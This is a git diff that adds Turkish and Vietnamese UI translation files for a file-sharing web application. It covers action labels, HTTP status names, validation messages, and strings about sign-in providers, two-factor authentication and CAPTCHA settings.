be completed. Please try again.": "Bu oturum açma tamamlanamadı. Lütfen yeniden deneyin.", + "That sign-in method is not available.": "Bu oturum açma yöntemi kullanılamıyor.", + "The default language has to be one of the languages you are offering.": "Varsayılan dil, sunduğunuz dillerden biri olmalıdır.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Uç noktalar bu adresten okunur, dolayısıyla yapılandırmanın tamamı budur. https olmalıdır.", + "The expiry date must be in the future.": "Son kullanma tarihi gelecekte olmalıdır.", + "The issuer URL must start with https://.": "Veren URL'si https:// ile başlamalıdır.", + "The public key. It appears in your pages’ source, which is expected.": "Genel anahtar. Sayfalarınızın kaynağında görünür, bu beklenen bir durumdur.", + "There is no account here for that address.": "Bu adres için burada bir hesap yok.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Güvenlik kontrolü yüklenemedi. Tarayıcınızın veya ağınızın bunu engellemediğinden emin olun, ardından sayfayı yeniden yükleyin.", + "This account does not use an authenticator app.": "Bu hesap bir kimlik doğrulama uygulaması kullanmıyor.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Bu hesabın hiç kendi parolası olmadı — bağlı bir sağlayıcı üzerinden oturum açıyor. Ekibin, bir sağlayıcı kesintisi kendilerini dışarıda kilitleyemesin diye bu uygulamanın kendi başına doğrulayabileceği bir kimlik bilgisine ihtiyacı var.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Bu hesap bir kimlik doğrulama uygulamasıyla oturum açıyor. Yalnızca hesap sahibi hem uygulamayı hem de kurtarma kodlarını kaybettiyse kaldırın.", + "This file has reached its download limit.": "Bu dosya indirme sınırına ulaştı.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Oturum açabilmenizin tek yolu bu. Önce bir parola belirleyin, ardından :provider bağlantısını kesin.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Bu site reCAPTCHA ile korunmaktadır ve Google Gizlilik Politikası ile Hizmet Şartları geçerlidir.", + "Those files have reached their download limit.": "Bu dosyalar indirme sınırına ulaştı.", + "Timezone": "Saat dilimi", + "To update, back up your database and files, then:": "Güncellemek için veritabanınızı ve dosyalarınızı yedekleyin, ardından:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Güncellemek için INSTALL.md dosyasındaki adımları izleyin — önce yedekleyin, ardından sürümü açın ve göçleri çalıştırın.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Bunu yalnızca bu sunucu dışarı istek yapmamalıysa kapatın. Hizmete ulaşılamazsa parola yine de kabul edilir, bu yüzden çevrimdışı bir kurulum bundan dolayı asla engellenmez.", + "Two-factor authentication removed.": "İki adımlı doğrulama kaldırıldı.", + "Two-factor authentication removed by an admin": "İki adımlı doğrulama bir yönetici tarafından kaldırıldı", + "Two-factor authentication was removed by an administrator": "İki adımlı doğrulama bir yönetici tarafından kaldırıldı", + "Two-factor authentication was removed from your account": "Hesabınızdan iki adımlı doğrulama kaldırıldı", + "Unexpected reply from :provider: :codes": ":provider hizmetinden beklenmeyen yanıt: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Herkese açık sayfalarınızın ve paylaşım bağlantılarınızın ziyaretçileri dahil, kendi saat dilimini seçmemiş herkes için kullanılır. Her hesap kendininkini profilinde ayarlayabilir.", + "Use ProjectSend’s protection": "ProjectSend korumasını kullan", + "Use your own reCAPTCHA or Turnstile account.": "Kendi reCAPTCHA veya Turnstile hesabınızı kullanın.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Doğrulamaya son zamanlarda ulaşılamadı, bu yüzden korunan formlar denetlenmeden geçiriliyor. Kimse dışarıda kilitlenmiyor.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Herkese açık formlarınızı sizin için koruruz. Kurulacak bir şey yok, yönetilecek anahtar yok.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "İnsanların herhangi bir şey seçmeden önce gördüğü. Oturum açmış bir hesap kendi seçimini korur ve tarayıcısı yukarıdaki dillerden birini isteyen bir ziyaretçi onu alır — bu, herkes için verilen yanıttır.", + "Which languages people can choose from": "İnsanların hangi diller arasından seçebileceği", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Hesabınız bu sağlayıcılardan biri üzerinden oluşturuldu ve kendi parolası yok, bu yüzden son bağlantı kaldırılamaz. Bağlantısını kesmek istiyorsanız önce bir parola belirleyin.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Kendi hesabınız :timezone olarak ayarlı, bu yüzden bu, tarihlerin size nasıl göründüğünü değiştirmez.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "\"common\" değil, kendi kiracınız. Microsoft bir kullanıcının hesabındaki e-posta adresini değiştirmesine izin verdiğinden, bir oturum açma yalnızca belirteç burada belirttiğiniz kiracıdan geldiğinde güvenilirdir.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Sağlayıcınız bu kurulumun gizli anahtarını reddetti, bu yüzden korunan formlar denetlenmeden geçiriliyor. Aşağıdaki gizli anahtarı kontrol edin.", + "Your public forms are protected. You can switch to your own keys at any time.": "Herkese açık formlarınız korunuyor. İstediğiniz zaman kendi anahtarlarınıza geçebilirsiniz." +} diff --git a/lang/tr/actions.php b/lang/tr/actions.php new file mode 100644 index 00000000..c86cde7f --- /dev/null +++ b/lang/tr/actions.php @@ -0,0 +1,119 @@ + 'Kabul etmek', + 'action' => 'Aksiyon', + 'actions' => 'Hareketler', + 'add' => 'Eklemek', + 'admin' => 'Yönetici', + 'agree' => 'Kabul etmek', + 'archive' => 'Arşiv', + 'assign' => 'Atamak', + 'associate' => 'İş arkadaşı', + 'attach' => 'Eklemek', + 'browse' => 'Araştır', + 'cancel' => 'İptal etmek', + 'choose' => 'Seçmek', + 'choose_file' => 'Dosya seçin', + 'choose_image' => 'Resim Seç', + 'click_to_copy' => 'Kopyalamak için tıklayın', + 'close' => 'Kapalı', + 'collapse' => 'Yıkılmak', + 'collapse_all' => 'Hepsini Daralt', + 'comment' => 'Yorum', + 'confirm' => 'Onaylamak', + 'connect' => 'Bağlamak', + 'create' => 'Yaratmak', + 'delete' => 'Silmek', + 'detach' => 'Ayır', + 'details' => 'Detaylar', + 'disable' => 'Devre dışı bırakmak', + 'discard' => 'At', + 'done' => 'Tamamlamak', + 'down' => 'Aşağı', + 'duplicate' => 'Kopyalamak', + 'edit' => 'Düzenlemek', + 'enable' => 'Olanak vermek', + 'expand' => 'Genişletmek', + 'expand_all' => 'Hepsini genişlet', + 'explanation' => 'Açıklama', + 'export' => 'İhracat', + 'file' => 'Dosya', + 'files' => 'Dosyalar', + 'go_home' => 'Eve git', + 'hide' => 'Saklamak', + 'home' => 'Ev', + 'image' => 'Resim', + 'impersonate' => 'Başkasının kimliğine bürün', + 'impersonation' => 'Kimliğe bürünme', + 'import' => 'İçe aktarmak', + 'introduction' => 'giriiş', + 'like' => 'Beğenmek', + 'load' => 'Yük', + 'localize' => 'Yerelleştir', + 'log_in' => 'Giriş yapmak', + 'log_out' => 'Çıkış Yap', + 'named' => [ + 'add' => ':name ekle', + 'choose' => ':name\'u seçin', + 'create' => ':name oluştur', + 'delete' => ':name\'u sil', + 'duplicate' => 'Çoğalt: ad', + 'edit' => ':name\'u düzenle', + 'export' => 'Export :name', + 'hide' => ':name\'u gizle', + 'import' => 'İthalat :name', + 'new' => 'Yeni :name', + 'restore' => ':name\'u geri yükle', + 'save' => ':name\'u kaydet', + 'search' => 'Ara :name', + 'show' => ':name\'u göster', + 'update' => 'Güncelleme :name', + 'view' => ':name\'u görüntüle', + ], + 'new' => 'Yeni', + 'no' => 'HAYIR', + 'open' => 'Açık', + 'open_website' => 'Web sitesinde aç', + 'preview' => 'Ön izleme', + 'price' => 'Fiyat', + 'record' => 'Kayıt', + 'restore' => 'Eski haline getirmek', + 'save' => 'Kaydetmek', + 'save_and_close' => 'Kaydet kapat', + 'save_and_return' => 'Kaydet ve Geri Dön', + 'search' => 'Aramak', + 'select' => 'Seçme', + 'select_all' => 'Hepsini seç', + 'send' => 'Göndermek', + 'settings' => 'Ayarlar', + 'show' => 'Göstermek', + 'show_all' => 'Hepsini Göster ↓', + 'sign_in' => 'Kayıt olmak', + 'solve' => 'Çözmek', + 'start' => 'Başlangıç', + 'stop' => 'Durmak', + 'submit' => 'Göndermek', + 'subscribe' => 'Abone', + 'switch' => 'Anahtar', + 'switch_to_role' => 'Role Geç', + 'tag' => 'Etiket', + 'tags' => 'Etiketler', + 'target_link' => [ + 'blank' => 'Yeni bir pencerede aç', + 'parent' => 'Bir üst çerçevede aç', + 'self' => 'Geçerli pencerede aç', + 'top' => 'En üst çerçevede aç', + ], + 'translate' => 'Çevirmek', + 'translate_it' => 'Çevir', + 'unpack' => 'Paketi aç', + 'unsubscribe' => 'Abonelikten çık', + 'up' => 'Yukarı', + 'update' => 'Güncelleme', + 'user' => 'Kullanıcı', + 'view' => 'Görüş', + 'yes' => 'Evet', +]; diff --git a/lang/tr/auth.php b/lang/tr/auth.php new file mode 100644 index 00000000..15dca4d5 --- /dev/null +++ b/lang/tr/auth.php @@ -0,0 +1,9 @@ + 'Bu kimlik bilgileri kayıtlarımızla eşleşmiyor.', + 'password' => 'Parola geçersiz.', + 'throttle' => 'Çok fazla giriş denemesi. :seconds saniye sonra lütfen tekrar deneyin.', +]; diff --git a/lang/tr/http-statuses.php b/lang/tr/http-statuses.php new file mode 100644 index 00000000..58ab69e0 --- /dev/null +++ b/lang/tr/http-statuses.php @@ -0,0 +1,84 @@ + 'Bilinmeyen Hata', + '100' => 'Devam Et', + '101' => 'Protokoller Değiştiriliyor', + '102' => 'İşleniyor', + '200' => 'Tamam', + '201' => 'Oluşturuldu', + '202' => 'Kabul Edilmiş', + '203' => 'Yetkili Olmayan Bilgiler', + '204' => 'İçerik Yok', + '205' => 'İçeriği Sıfırla', + '206' => 'Kısmi İçerik', + '207' => 'Çoklu Durum', + '208' => 'Zaten Bildirildi', + '226' => 'IM Kullanıldı', + '300' => 'Çoklu Seçimler', + '301' => 'Kalıcı Olarak Taşındı', + '302' => 'Bulundu', + '303' => 'Diğerlerini Gör', + '304' => 'Değiştirilmedi', + '305' => 'Proxy Kullan', + '307' => 'Geçici Yönlendirme', + '308' => 'Kalıcı Yönlendirme', + '400' => 'Geçersiz istek', + '401' => 'Yetkisiz', + '402' => 'Ödeme gerekli', + '403' => 'Yasaklı', + '404' => 'Sayfa bulunamadı', + '405' => 'İzin Verilmeyen Yöntem', + '406' => 'Kabul Edilemez', + '407' => 'Proxy Kimlik Doğrulaması Gerekli', + '408' => 'İstek zaman aşımına uğradı', + '409' => 'Çakışma', + '410' => 'Gitmiş', + '411' => 'Uzunluk Gerekli', + '412' => 'Ön Koşul Başarısız', + '413' => 'Veri Çok Büyük', + '414' => 'URI Çok Uzun', + '415' => 'Desteklenmeyen Medya Türü', + '416' => 'Aralık Yetersiz', + '417' => 'Beklenti Başarısız', + '418' => 'Ben bir demliğim', + '419' => 'Oturum süresi doldu', + '421' => 'Yanlış Yönlendirilmiş İstek', + '422' => 'İşlenemeyen Varlık', + '423' => 'Kilitli', + '424' => 'Başarısız Bağımlılık', + '425' => 'Çok erken', + '426' => 'Yükseltme Gerekli', + '428' => 'Ön Koşul Gerekli', + '429' => 'Çok Fazla İstek', + '431' => 'İstek Başlık Alanları Çok Büyük', + '444' => 'Bağlantı Yanıtsız Kapatıldı', + '449' => 'İle Yeniden Dene', + '451' => 'Yasal Sebepler Nedeniyle Kullanılamıyor', + '499' => 'İstemci Kapandı İsteği', + '500' => 'İç Sunucu Hatası', + '501' => 'Uygulanmadı', + '502' => 'Geçersiz Ağ Geçidi', + '503' => 'Bakım Modu', + '504' => 'Ağ Geçidi Zaman Aşımı', + '505' => 'HTTP Sürümü Desteklenmiyor', + '506' => 'Varyant Ayrıca Müzakere Ediyor', + '507' => 'Yetersiz depolama', + '508' => 'Döngü Tespit Edildi', + '509' => 'Bant Genişliği Sınırı Aşıldı', + '510' => 'Genişletilmemiş', + '511' => 'Ağ Kimlik Doğrulaması Gerekli', + '520' => 'Bilinmeyen Hata', + '521' => 'Web Sunucusu Çalışmıyor', + '522' => 'Bağlantı Zaman Aşımına Uğradı', + '523' => 'Kökeni Ulaşılamaz', + '524' => 'Bir Zaman Aşımı Oluştu', + '525' => 'SSL El Sıkışma Başarısız', + '526' => 'Geçersiz SSL Sertifikası', + '527' => 'Railgun Hatası', + '598' => 'Ağ Okuma Zaman Aşımı Hatası', + '599' => 'Ağ Bağlantısı Zaman Aşımı Hatası', + 'unknownError' => 'Bilinmeyen Hata', +]; diff --git a/lang/tr/pagination.php b/lang/tr/pagination.php new file mode 100644 index 00000000..2bd59d79 --- /dev/null +++ b/lang/tr/pagination.php @@ -0,0 +1,8 @@ + 'Sonrakiler »', + 'previous' => '« Öncekiler', +]; diff --git a/lang/tr/passwords.php b/lang/tr/passwords.php new file mode 100644 index 00000000..29ca070d --- /dev/null +++ b/lang/tr/passwords.php @@ -0,0 +1,11 @@ + 'Parolanız sıfırlandı!', + 'sent' => 'Parola sıfırlama bağlantınız e-posta ile gönderildi!', + 'throttled' => 'Tekrar denemeden önce lütfen bekleyin.', + 'token' => 'Parola sıfırlama kodu geçersiz.', + 'user' => 'Bu e-posta adresi ile kayıtlı bir üye bulunamadı.', +]; diff --git a/lang/tr/validation.php b/lang/tr/validation.php new file mode 100644 index 00000000..9be62f68 --- /dev/null +++ b/lang/tr/validation.php @@ -0,0 +1,288 @@ + ':Attribute kabul edilmelidir.', + 'accepted_if' => ':Attribute, :other değeri :value ise kabul edilmelidir.', + 'active_url' => ':Attribute geçerli bir URL olmalıdır.', + 'after' => ':Attribute mutlaka :date tarihinden sonra olmalıdır.', + 'after_or_equal' => ':Attribute mutlaka :date tarihinden sonra veya aynı tarihte olmalıdır.', + 'alpha' => ':Attribute sadece harflerden oluşmalıdır.', + 'alpha_dash' => ':Attribute sadece harflerden, rakamlardan ve tirelerden oluşmalıdır.', + 'alpha_num' => ':Attribute sadece harflerden ve rakamlardan oluşmalıdır.', + 'any_of' => ':Attribute alanı geçersiz.', + 'array' => ':Attribute mutlaka bir dizi olmalıdır.', + 'ascii' => ':Attribute yalnızca tek baytlık alfasayısal karakterler ve semboller içermelidir.', + 'before' => ':Attribute mutlaka :date tarihinden önce olmalıdır.', + 'before_or_equal' => ':Attribute mutlaka :date tarihinden önce veya aynı tarihte olmalıdır.', + 'between' => [ + 'array' => ':Attribute mutlaka :min - :max arasında öge içermelidir.', + 'file' => ':Attribute mutlaka :min - :max kilobayt arasında olmalıdır.', + 'numeric' => ':Attribute mutlaka :min - :max arasında olmalıdır.', + 'string' => ':Attribute mutlaka :min - :max karakter arasında olmalıdır.', + ], + 'boolean' => ':Attribute sadece doğru veya yanlış olmalıdır.', + 'can' => ':Attribute alanı yetkisiz bir değer içeriyor.', + 'confirmed' => ':Attribute tekrarı eşleşmiyor.', + 'contains' => ':attribute alanında gerekli bir değer eksik.', + 'current_password' => 'Parola hatalı.', + 'date' => ':Attribute geçerli bir tarih değil.', + 'date_equals' => ':Attribute mutlaka :date ile aynı tarihte olmalıdır.', + 'date_format' => ':Attribute mutlaka :format biçiminde olmalıdır.', + 'decimal' => ':Attribute, :decimal ondalık basamaklara sahip olmalıdır.', + 'declined' => ':Attribute kabul edilmemektedir.', + 'declined_if' => ':Attribute, :other değeri :value iken kabul edilmemektedir.', + 'different' => ':Attribute ile :other mutlaka birbirinden farklı olmalıdır.', + 'digits' => ':Attribute mutlaka :digits basamaklı olmalıdır.', + 'digits_between' => ':Attribute mutlaka en az :min, en fazla :max basamaklı olmalıdır.', + 'dimensions' => ':Attribute geçersiz resim boyutlarına sahip.', + 'distinct' => ':Attribute alanı yinelenen bir değere sahip.', + 'doesnt_contain' => ':Attribute alanı aşağıdakilerden hiçbirini içermemelidir: :values.', + 'doesnt_end_with' => ':Attribute aşağıdakilerden biriyle bitemez: :values.', + 'doesnt_start_with' => ':Attribute aşağıdakilerden biriyle başlamayabilir: :values.', + 'email' => ':Attribute mutlaka geçerli bir e-posta adresi olmalıdır.', + 'encoding' => 'The :attribute field must be encoded in :encoding.', + 'ends_with' => ':Attribute sadece şu değerlerden biriyle bitebilir: :values.', + 'enum' => 'Seçilen :attribute değeri geçersiz.', + 'exists' => 'Seçili :attribute geçersiz.', + 'extensions' => ':attribute alanı aşağıdaki uzantılardan birine sahip olmalıdır: :values.', + 'file' => ':Attribute mutlaka bir dosya olmalıdır.', + 'filled' => ':Attribute mutlaka doldurulmalıdır.', + 'gt' => [ + 'array' => ':Attribute mutlaka :value sayısından daha fazla öge içermelidir.', + 'file' => ':Attribute mutlaka :value kilobayt\'tan büyük olmalıdır.', + 'numeric' => ':Attribute mutlaka :value sayısından büyük olmalıdır.', + 'string' => ':Attribute mutlaka :value karakterden uzun olmalıdır.', + ], + 'gte' => [ + 'array' => ':Attribute mutlaka :value veya daha fazla öge içermelidir.', + 'file' => ':Attribute mutlaka :value kilobayt\'tan büyük veya eşit olmalıdır.', + 'numeric' => ':Attribute mutlaka :value sayısından büyük veya eşit olmalıdır.', + 'string' => ':Attribute mutlaka :value karakterden uzun veya eşit olmalıdır.', + ], + 'hex_color' => ':attribute alanı geçerli bir onaltılık renk olmalıdır.', + 'image' => ':Attribute mutlaka bir resim olmalıdır.', + 'in' => 'Seçili :attribute geçersiz.', + 'in_array' => ':Attribute :other içinde mevcut değil.', + 'in_array_keys' => ':Attribute alanı aşağıdaki anahtarlardan en az birini içermelidir: :values.', + 'integer' => ':Attribute mutlaka bir tam sayı olmalıdır.', + 'ip' => ':Attribute mutlaka geçerli bir IP adresi olmalıdır.', + 'ipv4' => ':Attribute mutlaka geçerli bir IPv4 adresi olmalıdır.', + 'ipv6' => ':Attribute mutlaka geçerli bir IPv6 adresi olmalıdır.', + 'json' => ':Attribute mutlaka geçerli bir JSON içeriği olmalıdır.', + 'list' => ':attribute alanı bir liste olmalıdır.', + 'lowercase' => ':Attribute küçük harf olmalıdır.', + 'lt' => [ + 'array' => ':Attribute mutlaka :value sayısından daha az öge içermelidir.', + 'file' => ':Attribute mutlaka :value kilobayt\'tan küçük olmalıdır.', + 'numeric' => ':Attribute mutlaka :value sayısından küçük olmalıdır.', + 'string' => ':Attribute mutlaka :value karakterden kısa olmalıdır.', + ], + 'lte' => [ + 'array' => ':Attribute mutlaka :value veya daha az öge içermelidir.', + 'file' => ':Attribute mutlaka :value kilobayt\'tan küçük veya eşit olmalıdır.', + 'numeric' => ':Attribute mutlaka :value sayısından küçük veya eşit olmalıdır.', + 'string' => ':Attribute mutlaka :value karakterden kısa veya eşit olmalıdır.', + ], + 'mac_address' => ':Attribute geçerli bir MAC adresi olmalıdır.', + 'max' => [ + 'array' => ':Attribute en fazla :max öge içerebilir.', + 'file' => ':Attribute en fazla :max kilobayt olabilir.', + 'numeric' => ':Attribute en fazla :max olabilir.', + 'string' => ':Attribute en fazla :max karakter olabilir.', + ], + 'max_digits' => ':Attribute en fazla :max basamak içermelidir.', + 'mimes' => ':Attribute mutlaka :values biçiminde bir dosya olmalıdır.', + 'mimetypes' => ':Attribute mutlaka :values biçiminde bir dosya olmalıdır.', + 'min' => [ + 'array' => ':Attribute en az :min öge içermelidir.', + 'file' => ':Attribute en az :min kilobayt olmalıdır.', + 'numeric' => ':Attribute en az :min olmalıdır.', + 'string' => ':Attribute en az :min karakter olmalıdır.', + ], + 'min_digits' => ':Attribute en az :min basamak içermelidir.', + 'missing' => ':Attribute alanı eksik olmalıdır.', + 'missing_if' => ':Other, :value olduğunda :attribute alanı eksik olmalıdır.', + 'missing_unless' => ':Other, :value değilse :attribute alanı eksik olmalıdır.', + 'missing_with' => ':Values mevcut olduğunda :attribute alanı eksik olmalıdır.', + 'missing_with_all' => ':Values mevcut olduğunda :attribute alanı eksik olmalıdır.', + 'multiple_of' => ':Attribute, :value\'nin katları olmalıdır', + 'not_in' => 'Seçili :attribute geçersiz.', + 'not_regex' => ':Attribute biçimi geçersiz.', + 'numeric' => ':Attribute mutlaka bir sayı olmalıdır.', + 'password' => [ + 'letters' => ':Attribute en az bir harf içermelidir.', + 'mixed' => ':Attribute en az bir büyük harf ve bir küçük harf içermelidir.', + 'numbers' => ':Attribute en az bir sayı içermelidir.', + 'symbols' => ':Attribute en az bir sembol içermelidir.', + 'uncompromised' => 'Verilen :attribute bir veri sızıntısında ortaya çıktı. Lütfen farklı bir :attribute seçin.', + ], + 'present' => ':Attribute mutlaka mevcut olmalıdır.', + 'present_if' => ':other, :value olduğunda :attribute alanı mevcut olmalıdır.', + 'present_unless' => ':other, :value olmadığı sürece :attribute alanı mevcut olmalıdır.', + 'present_with' => ':values mevcut olduğunda :attribute alanı mevcut olmalıdır.', + 'present_with_all' => ':values mevcut olduğunda :attribute alanı mevcut olmalıdır.', + 'prohibited' => ':Attribute alanı kısıtlanmıştır.', + 'prohibited_if' => ':Other alanının değeri :value ise :attribute alanına veri girişi yapılamaz.', + 'prohibited_if_accepted' => ':other kabul edildiğinde :attribute alanına veri girişi yapılamaz.', + 'prohibited_if_declined' => ':other reddedildiğinde :attribute alanına veri girişi yapılamaz.', + 'prohibited_unless' => ':Other alanı :value değerlerinden birisi değilse :attribute alanına veri girişi yapılamaz.', + 'prohibits' => ':Attribute alanı :other alanının mevcut olmasını yasaklar.', + 'regex' => ':Attribute biçimi geçersiz.', + 'required' => ':Attribute mutlaka gereklidir.', + 'required_array_keys' => ':Attribute değeri şu verileri içermelidir: :values.', + 'required_if' => ':Attribute :other :value değerine sahip olduğunda mutlaka gereklidir.', + 'required_if_accepted' => ':Attribute alanı, :other kabul edildiğinde gereklidir.', + 'required_if_declined' => ':other seçeneği reddedildiğinde :attribute alanı gereklidir.', + 'required_unless' => ':Attribute :other :values değerlerinden birine sahip olmadığında mutlaka gereklidir.', + 'required_with' => ':Attribute :values varken mutlaka gereklidir.', + 'required_with_all' => ':Attribute herhangi bir :values değeri varken mutlaka gereklidir.', + 'required_without' => ':Attribute :values yokken mutlaka gereklidir.', + 'required_without_all' => ':Attribute :values değerlerinden herhangi biri yokken mutlaka gereklidir.', + 'same' => ':Attribute ile :other aynı olmalıdır.', + 'size' => [ + 'array' => ':Attribute mutlaka :size ögeye sahip olmalıdır.', + 'file' => ':Attribute mutlaka :size kilobayt olmalıdır.', + 'numeric' => ':Attribute mutlaka :size olmalıdır.', + 'string' => ':Attribute mutlaka :size karakterli olmalıdır.', + ], + 'starts_with' => ':Attribute sadece şu değerlerden biriyle başlayabilir: :values.', + 'string' => ':Attribute mutlaka bir metin olmalıdır.', + 'timezone' => ':Attribute mutlaka geçerli bir saat dilimi olmalıdır.', + 'ulid' => ':Attribute geçerli bir ULID olmalıdır.', + 'unique' => ':Attribute zaten alınmış.', + 'uploaded' => ':Attribute yüklemesi başarısız.', + 'uppercase' => ':Attribute büyük harf olmalıdır.', + 'url' => ':Attribute biçimi geçersiz.', + 'uuid' => ':Attribute mutlaka geçerli bir UUID olmalıdır.', + 'attributes' => [ + 'address' => 'adres', + 'affiliate_url' => 'bağlı kuruluş URL\'si', + 'age' => 'yaş', + 'amount' => 'tutar', + 'announcement' => 'duyuru', + 'area' => 'alan', + 'audience_prize' => 'seyirci ödülü', + 'audience_winner' => 'audience winner', + 'available' => 'mevcut', + 'birthday' => 'doğum günü', + 'body' => 'gövde', + 'city' => 'şehir', + 'color' => 'color', + 'company' => 'company', + 'compilation' => 'derleme', + 'concept' => 'kavram', + 'conditions' => 'koşullar', + 'content' => 'i̇çerik', + 'contest' => 'contest', + 'country' => 'ülke', + 'cover' => 'kapak', + 'created_at' => 'oluşturulduğunda', + 'creator' => 'yaratıcı', + 'currency' => 'para birimi', + 'current_password' => 'mevcut şifre', + 'customer' => 'müşteri', + 'date' => 'tarih', + 'date_of_birth' => 'doğum tarihi', + 'dates' => 'tarih', + 'day' => 'gün', + 'deleted_at' => 'silindi', + 'description' => 'açıklama', + 'display_type' => 'ekran tipi', + 'district' => 'semt', + 'duration' => 'süre', + 'email' => 'e-posta adresi', + 'excerpt' => 'alıntı', + 'filter' => 'filtre', + 'finished_at' => 'bitti', + 'first_name' => 'adı', + 'gender' => 'cinsiyet', + 'grand_prize' => 'Büyük ödül', + 'group' => 'grup', + 'hour' => 'saat', + 'image' => 'resim', + 'image_desktop' => 'masaüstü resmi', + 'image_main' => 'Ana resim', + 'image_mobile' => 'mobil resim', + 'images' => 'Görüntüler', + 'is_audience_winner' => 'seyirci kazananı mı', + 'is_hidden' => 'gizli', + 'is_subscribed' => 'abone olundu', + 'is_visible' => 'görünür', + 'is_winner' => 'kazanan', + 'items' => 'öğeler', + 'key' => 'anahtar', + 'last_name' => 'soyadı', + 'lesson' => 'ders', + 'line_address_1' => 'hat adresi 1', + 'line_address_2' => 'hat adresi 2', + 'login' => 'giriş yapmak', + 'message' => 'ileti', + 'middle_name' => 'ikinci ad', + 'minute' => 'dakika', + 'mobile' => 'cep telefonu', + 'month' => 'ay', + 'name' => 'adı', + 'national_code' => 'ulusal kod', + 'number' => 'sayı', + 'password' => 'parola', + 'password_confirmation' => 'parola (tekrar)', + 'phone' => 'telefon', + 'photo' => 'fotoğraf', + 'portfolio' => 'portföy', + 'postal_code' => 'posta kodu', + 'preview' => 'Ön izleme', + 'price' => 'fiyat', + 'product_id' => 'ürün kimliği', + 'product_uid' => 'ürün UID\'si', + 'product_uuid' => 'ürün UUID\'si', + 'promo_code' => 'promosyon kodu', + 'province' => 'bölge', + 'quantity' => 'miktar', + 'reason' => 'sebep', + 'recaptcha_response_field' => 'recaptcha yanıt alanı', + 'referee' => 'hakem', + 'referees' => 'hakemler', + 'region' => 'region', + 'reject_reason' => 'nedeni reddetmek', + 'remember' => 'hatırlamak', + 'restored_at' => 'restore', + 'result_text_under_image' => 'resmin altındaki sonuç metni', + 'role' => 'rol', + 'rule' => 'kural', + 'rules' => 'tüzük', + 'second' => 'saniye', + 'sex' => 'cinsiyet', + 'shipment' => 'gönderi', + 'short_text' => 'kısa metin', + 'size' => 'boyut', + 'skills' => 'yetenekler', + 'slug' => 'sümüklüböcek', + 'specialization' => 'uzmanlık', + 'started_at' => 'Başlangıç', + 'state' => 'durum', + 'status' => 'durum', + 'street' => 'sokak', + 'student' => 'öğrenci', + 'subject' => 'ders', + 'tag' => 'etiket', + 'tags' => 'Etiketler', + 'teacher' => 'öğretmen', + 'terms' => 'şartlar', + 'test_description' => 'test açıklaması', + 'test_locale' => 'yerel ayar', + 'test_name' => 'deneme adı', + 'text' => 'metin', + 'time' => 'zaman', + 'title' => 'unvan', + 'type' => 'tip', + 'updated_at' => 'güncellendi', + 'user' => 'kullanıcı', + 'username' => 'kullanıcı adı', + 'value' => 'değer', + 'winner' => 'winner', + 'work' => 'work', + 'year' => 'yıl', + ], +]; diff --git a/lang/vi.json b/lang/vi.json new file mode 100644 index 00000000..7266b1dd --- /dev/null +++ b/lang/vi.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName đã tải lên “:itemName”", + ":count accounts have this role": ":count tài khoản có vai trò này", + ":count awaiting approval": ":count đang chờ duyệt", + ":count downloads": ":count lượt tải xuống", + ":count file deleted.|:count files deleted.": "Đã xóa :count tệp.|Đã xóa :count tệp.", + ":count file imported.|:count files imported.": "Đã nhập :count tệp.|Đã nhập :count tệp.", + ":count files": ":count tệp", + ":count folders": ":count thư mục", + ":count items have been shared with you": ":count mục đã được chia sẻ với bạn", + ":count members": ":count thành viên", + ":count selected": "Đã chọn :count", + ":files files": ":files tệp", + ":itemName was shared with you": "“:itemName” đã được chia sẻ với bạn", + ":name will not be added to the group \":group\".": ":name sẽ không được thêm vào nhóm “:group”.", + ":total total": "tổng cộng :total", + ":used / :limit downloads": ":used / :limit lượt tải xuống", + ":used MB of :quota MB used": "Đã dùng :used MB trên :quota MB", + ":used MB used, no limit": "Đã dùng :used MB, không giới hạn", + "(and :count more error)": "(và :count lỗi khác)", + "(and :count more errors)": "(và :count lỗi khác)|(và :count lỗi khác)|(và :count lỗi khác)", + "(deleted account)": "(tài khoản đã xóa)", + "0 means unlimited.": "0 nghĩa là không giới hạn.", + "A client account request was approved": "Một yêu cầu tài khoản khách hàng đã được duyệt", + "A client account request was denied": "Một yêu cầu tài khoản khách hàng đã bị từ chối", + "A client left a group": "Một khách hàng đã rời nhóm", + "A client registered an account": "Một khách hàng đã đăng ký tài khoản", + "A client requested to join a group": "Một khách hàng đã xin tham gia nhóm", + "A client uploaded a file": "Một khách hàng đã tải tệp lên", + "A client was added to a group": "Một khách hàng đã được thêm vào nhóm", + "A client was removed from a group": "Một khách hàng đã bị gỡ khỏi nhóm", + "A decryption key is required.": "Khóa giải mã là bắt buộc.", + "A file assignment was removed": "Một lượt gán tệp đã bị gỡ bỏ", + "A file has been shared with you": "Một tệp đã được chia sẻ với bạn", + "A file or folder was shared with you": "Một tệp hoặc thư mục đã được chia sẻ với bạn", + "A file was assigned": "Một tệp đã được gán", + "A file was deleted": "Một tệp đã bị xóa", + "A file was downloaded": "Một tệp đã được tải xuống", + "A file was downloaded via a public link": "Một tệp đã được tải xuống qua liên kết công khai", + "A file was downloaded via the public group listing": "Một tệp đã được tải xuống qua danh sách nhóm công khai", + "A file was updated": "Một tệp đã được cập nhật", + "A file was uploaded": "Một tệp đã được tải lên", + "A folder cannot be moved into itself.": 